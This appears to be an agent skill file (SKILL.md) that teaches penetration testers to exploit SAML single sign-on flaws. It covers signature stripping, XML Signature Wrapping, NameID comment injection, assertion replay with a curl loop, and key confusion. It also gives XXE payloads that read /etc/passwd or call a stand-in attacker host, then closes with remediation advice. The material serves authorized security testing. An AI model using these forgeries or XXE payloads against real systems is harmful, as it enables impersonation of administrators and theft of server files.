exploiting-saml-authentication-flaws

$npx mdskill add xalgord/xalgorix/exploiting-saml-authentication-flaws

- During authorized penetration tests of applications that use SAML 2.0 for SSO (enterprise apps, IdP-integrated portals) - When the target is a Service Provider (SP) accepting assertions from an Identity Provider (IdP) - For validating that signatures are verified correctly, that the signed element is the one consumed, and that recipient/audience/conditions are enforced - When testing whether an attacker who controls one account (or none) can forge or tamper assertions to impersonate other users or admins - During bug bounty programs targeting SSO/authentication bypass

SKILL.md

.github/skills/exploiting-saml-authentication-flawsView on GitHub ↗
---
name: exploiting-saml-authentication-flaws
description: Identifying and exploiting SAML SSO weaknesses including XML Signature Wrapping (XSW1-8), comment
  injection in NameID, missing/stripped signatures, recipient and audience confusion, assertion replay, key
  confusion, and XXE in SAML messages to forge authentication and impersonate users.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- saml
- sso
- xml-signature-wrapping
- xsw
- authentication-bypass
- web-security
version: '1.0'
author: xalgorix
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
---

# Exploiting SAML Authentication Flaws

## When to Use

- During authorized penetration tests of applications that use SAML 2.0 for SSO (enterprise apps, IdP-integrated portals)
- When the target is a Service Provider (SP) accepting assertions from an Identity Provider (IdP)
- For validating that signatures are verified correctly, that the signed element is the one consumed, and that recipient/audience/conditions are enforced
- When testing whether an attacker who controls one account (or none) can forge or tamper assertions to impersonate other users or admins
- During bug bounty programs targeting SSO/authentication bypass

## Prerequisites

- **Authorization**: Written penetration testing agreement covering authentication bypass and IdP/SP testing
- **Burp Suite Professional + SAML Raider**: The primary tool for editing, re-signing, and wrapping SAML messages
- **Two SP accounts where possible**: A low-privilege attacker account and a target (admin/victim) identity to impersonate
- **A captured SAMLResponse**: A full, valid login flow recorded through Burp (decode base64 + inflate if redirect binding)
- **Understanding of bindings**: HTTP-POST (`SAMLResponse` form field, base64) vs HTTP-Redirect (deflated + base64 + URL-encoded)

## Critical: Checks Most Often Missed

SAML breaks when the SP verifies a signature over one element but trusts a
*different* element, or skips verification entirely. Work this checklist:

- **No signature at all is accepted.** Strip the `<ds:Signature>` element
  completely and submit. Many SPs only validate a signature *if present* — a
  missing signature then yields a fully forged, attacker-authored assertion.
- **Signature exclusion / partial signing.** The Response may be signed but the
  Assertion is not (or vice-versa). Tamper the *unsigned* element. Also test
  removing the inner Assertion signature while keeping the Response signature.
- **XML Signature Wrapping (XSW1-8) is the core attack.** Keep the validly
  signed element so signature verification passes, but inject a second forged
  assertion the application logic actually reads. Cycle through all 8 XSW
  permutations (different parent nodes, ID handling, ordering) with SAML Raider.
- **NameID comment injection.** Insert an XML comment inside `<NameID>`:
  `admin@corp.example<!---->.attacker@evil.example`. Signature still validates
  (canonicalization), but the SP's XML reader may return only `admin@corp.example`
  — impersonating the admin. Test `<!-- -->`, `<![CDATA[]]>` splits too.
- **Recipient / Destination / Audience not validated.** Reuse a valid assertion
  issued for a *different* SP/recipient against this SP (token recipient
  confusion / audience restriction bypass).
- **Assertion replay.** Resend the same `SAMLResponse` multiple times and after
  its window; if `NotOnOrAfter`/`OneTimeUse`/replay-cache is not enforced, the
  token is reusable.
- **Key confusion / self-signed acceptance.** Re-sign a tampered assertion with
  your *own* certificate and submit it (use SAML Raider's "Send Certificate to
  IdP"/re-sign). If the SP trusts any embedded `<KeyInfo>`/cert instead of a
  pinned IdP key, your forgery is accepted.
- **Signature algorithm downgrade / XXE.** Try `SignatureMethod` downgrade and
  inject XXE via a `DOCTYPE`/external entity in the SAML XML to read files or
  trigger SSRF on the SP's parser.
- **Always decode AND re-inflate correctly.** Redirect-binding messages are
  raw-deflate + base64 + URL-encoded; mangling the encoding produces false
  negatives. Verify your tampered message round-trips before concluding "fixed".

## Workflow

### Step 1: Capture and Decode the SAML Flow

Record a full SSO login and decode the assertion for analysis.

```bash
# Capture the SAMLResponse in Burp (POST binding: base64 form field).
# Decode it:
echo "$SAMLRESPONSE_B64" | base64 -d > resp.xml
xmllint --format resp.xml | head -n 60

# For HTTP-Redirect binding (deflated): URL-decode, base64-decode, then inflate:
python3 - <<'PY'
import base64, zlib, urllib.parse, sys
raw = urllib.parse.unquote(open('saml_redirect.txt').read().strip())
data = base64.b64decode(raw)
print(zlib.decompress(data, -15).decode())   # -15 = raw deflate
PY

# Identify the key elements:
#  <samlp:Response ID="_resp1" ...>
#    <ds:Signature> ... <ds:Reference URI="#_resp1"/> ...   (what is signed?)
#    <saml:Assertion ID="_assert1">
#      <saml:Subject><saml:NameID>user@corp.example</saml:NameID>
#      <saml:Conditions NotBefore=... NotOnOrAfter=... >
#        <saml:AudienceRestriction><saml:Audience>...</saml:Audience>
#      <saml:SubjectConfirmationData Recipient="https://sp/acs" .../>
# Note the Reference URI to know WHICH element the signature actually covers.
```

### Step 2: Test Missing / Stripped Signature

Determine whether the SP enforces that a signature exists and covers the assertion.

```text
# In SAML Raider (Burp > intercept the SAMLResponse > SAML Raider Certificate tab):
#  1. Remove Signatures  -> deletes <ds:Signature> entirely
#  2. Forward the message with a tampered NameID (e.g. admin@corp.example)
#
# Outcomes:
#  - Login as admin succeeds  => signature not required (critical)
#  - Rejected                 => proceed to wrapping / comment injection

# Manual variant: delete only the inner <saml:Assertion>'s <ds:Signature>
# while keeping the Response-level signature, then alter the Assertion subject.
# Tests "signs the Response but trusts the Assertion" confusion.
```

### Step 3: XML Signature Wrapping (XSW1-8)

Inject a forged assertion the app reads while the signed original passes verification.

```text
# SAML Raider automates all 8 XSW templates:
#   Burp > intercept SAMLResponse > "SAML Raider" tab > "XSW" dropdown
#   Select XSW1 ... XSW8 in turn, set the injected NameID to the victim/admin,
#   then Forward and observe which identity the SP logs you in as.

# What each family does (conceptually):
#  XSW1/2  -> wrap the signed Response; add a forged Response/Assertion sibling
#  XSW3/4  -> forged Assertion as sibling/child of the signed Assertion
#  XSW5/6  -> move the original signed Assertion into the Signature/extensions,
#             present a forged Assertion where the app looks
#  XSW7/8  -> abuse Extensions / Object wrappers to hide the signed element

# Manual XSW3 sketch (forged assertion BEFORE the signed one, app reads first):
#  <samlp:Response>
#    <saml:Assertion ID="_evil">                <-- forged, attacker NameID=admin
#       <saml:Subject><saml:NameID>admin@corp.example</saml:NameID>...
#    </saml:Assertion>
#    <saml:Assertion ID="_assert1">             <-- original, validly signed
#       <ds:Signature><ds:Reference URI="#_assert1"/></ds:Signature>
#       <saml:Subject><saml:NameID>attacker@corp.example</saml:NameID>...
#    </saml:Assertion>
#  </samlp:Response>
# Signature verifies #_assert1; vulnerable SP processes the FIRST/_evil assertion.

# Iterate XSW1-8 because SPs differ in which node they select after verification.
```

### Step 4: NameID Comment Injection

Exploit canonicalization vs application parsing mismatch to impersonate users.

```text
# Goal: keep the signature valid (comments are ignored by c14n) but change what
# the application reads as the username.

# Original signed NameID:
#   <saml:NameID>attacker@evil.example</saml:NameID>
# Tampered (signature still validates):
#   <saml:NameID>admin@corp.example<!---->.evil.example</saml:NameID>
#   <saml:NameID>admin@corp.example<!-- -->attacker@evil.example</saml:NameID>

# Vulnerable XML readers return only the text node before/around the comment
# (e.g. "admin@corp.example"), logging you in as admin.
# Also test CDATA and double-comment splits:
#   admin<![CDATA[]]>@corp.example
#   admin@corp.example<!--x--><!--y-->junk
# Requires an account whose prefix matches the victim's identifier — pick the
# injection point so the truncated value equals the target identity.
```

### Step 5: Recipient/Audience Confusion and Replay

Reuse assertions across SPs/time when conditions are not enforced.

```bash
# Recipient confusion: take a valid assertion issued for SP-A and submit it to
# SP-B's ACS. If SP-B does not validate Recipient/Destination/Audience, it
# accepts a token never meant for it.

# Replay: resend the SAME SAMLResponse multiple times, and again AFTER its
# NotOnOrAfter window:
for i in 1 2 3; do
  curl -s -o /dev/null -w "replay$i:%{http_code}\n" \
    -X POST "https://sp.example.com/saml/acs" \
    --data-urlencode "SAMLResponse=$SAMLRESPONSE_B64" \
    --data "RelayState=/dashboard"
done
# Repeated success => no replay cache / OneTimeUse / window enforcement.

# Also tamper <saml:Conditions NotOnOrAfter> to a far-future date; if the
# signature wasn't required (Step 2) or you re-signed (Step 6), the SP may honor it.
```

### Step 6: Key Confusion and XXE

Forge with your own key, or attack the SP's XML parser directly.

```text
# Key confusion / self-sign (SAML Raider):
#  1. SAML Raider Certificates tab > "Import certificate" or generate a new one
#  2. Tamper the assertion (NameID=admin, future Conditions)
#  3. "(Re-)Sign Assertion"/"(Re-)Sign Message" with YOUR cert; the tool embeds
#     your <KeyInfo>/certificate.
#  4. Forward. If the SP trusts the embedded cert instead of a pinned IdP key,
#     the forged assertion is accepted.

# Signature algorithm downgrade: change <ds:SignatureMethod Algorithm=...> to a
# weaker/none-like value and observe whether verification is skipped.

# XXE in the SAML message (SP parses attacker XML):
#  <?xml version="1.0"?>
#  <!DOCTYPE samlp:Response [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
#  ... <saml:NameID>&xxe;</saml:NameID> ...
# OOB/SSRF variant:
#  <!ENTITY xxe SYSTEM "http://attacker.oob.example/x">
# Re-encode (base64 / deflate) and submit; watch for file contents reflected in
# errors or an OOB callback.
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **XML Signature Wrapping (XSW)** | Keeping a validly signed element while the app processes a separate forged element |
| **NameID comment injection** | Using XML comments so canonicalization ignores them but the parser truncates the value |
| **Signature exclusion** | SP accepting assertions with the signature removed or only partially covering the data |
| **Recipient/Audience confusion** | Replaying an assertion intended for a different SP because conditions aren't validated |
| **Assertion replay** | Reusing the same SAMLResponse due to missing replay cache / OneTimeUse / time-window checks |
| **Key confusion** | SP trusting an attacker-embedded certificate/KeyInfo instead of a pinned IdP key |
| **XXE in SAML** | Injecting external entities into the SAML XML to read files or trigger SSRF on the SP parser |
| **Bindings** | HTTP-POST (base64 form field) vs HTTP-Redirect (raw-deflate + base64 + URL-encode) |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **SAML Raider (Burp extension)** | Edit, remove signatures, apply XSW1-8 templates, re-sign with custom certs |
| **Burp Suite Professional** | Intercept POST/Redirect SAML messages and the ACS response |
| **xmllint** | Pretty-print and validate the decoded assertion structure |
| **Python (zlib/base64)** | Decode/inflate redirect-binding messages and re-encode tampered XML |
| **SAML-tracer (browser ext)** | Quickly view SAML messages in the browser during reconnaissance |
| **xmlsec1** | Inspect/verify signature references and canonicalization behavior |

## Common Scenarios

### Scenario 1: Missing Signature Acceptance
The SP validates a signature only when present. Removing `<ds:Signature>` and setting `NameID` to `admin@corp.example` logs the attacker in as an administrator.

### Scenario 2: XSW3 Wrapping
The signature covers `_assert1`, but the SP processes the first assertion in document order. Injecting a forged assertion before the signed one impersonates any user while verification still passes.

### Scenario 3: NameID Comment Injection
`admin@corp.example<!---->x` keeps the signature valid (comments dropped by c14n) but the SP's XML reader returns `admin@corp.example`, granting the attacker the admin session.

### Scenario 4: Cross-SP Assertion Replay
An assertion minted for one SP is replayed to a second SP that does not check `Audience`/`Recipient`, yielding unauthorized access without any tampering.

## Output Format

```
## SAML Authentication Flaw Finding

**Vulnerability**: SAML XML Signature Wrapping (XSW3) leading to authentication bypass
**Severity**: Critical (CVSS 9.1)
**Location**: POST /saml/acs (Service Provider Assertion Consumer Service)
**OWASP Category**: A07:2021 - Identification and Authentication Failures

### Reproduction Steps
1. Capture a valid SAMLResponse logging in as attacker@corp.example
2. In SAML Raider, apply the XSW3 template; set the injected NameID to admin@corp.example
3. Forward the tampered SAMLResponse to /saml/acs
4. Signature verification passes (covers original _assert1); the SP processes the forged assertion
5. Authenticated session is established as admin@corp.example

### Techniques Confirmed
| Technique | Result |
|-----------|--------|
| Signature removed | Rejected |
| XSW3 wrapping | Bypassed -> admin session |
| NameID comment injection | Bypassed (truncates to admin@corp.example) |
| Assertion replay (x3) | Accepted (no replay cache) |
| Recipient/Audience check | Not enforced |

### Impact
- Full authentication bypass and impersonation of arbitrary users including admins
- No valid credentials for the target identity required
- Assertion replay enables persistent reuse of a captured token

### Recommendation
1. Verify the signature and ensure the signed element is exactly the one consumed
   (resolve by reference, reject documents with multiple/unsigned assertions).
2. Reject assertions lacking a signature; never "validate only if present".
3. Use a hardened SAML library; disable DTD/external entities to stop XXE.
4. Strip/forbid comments in NameID processing; use canonical text extraction.
5. Pin the IdP signing certificate; ignore embedded KeyInfo for trust decisions.
6. Enforce Recipient, Destination, Audience, NotBefore/NotOnOrAfter, and a
   one-time-use replay cache on every assertion.
```

More from xalgord/xalgorix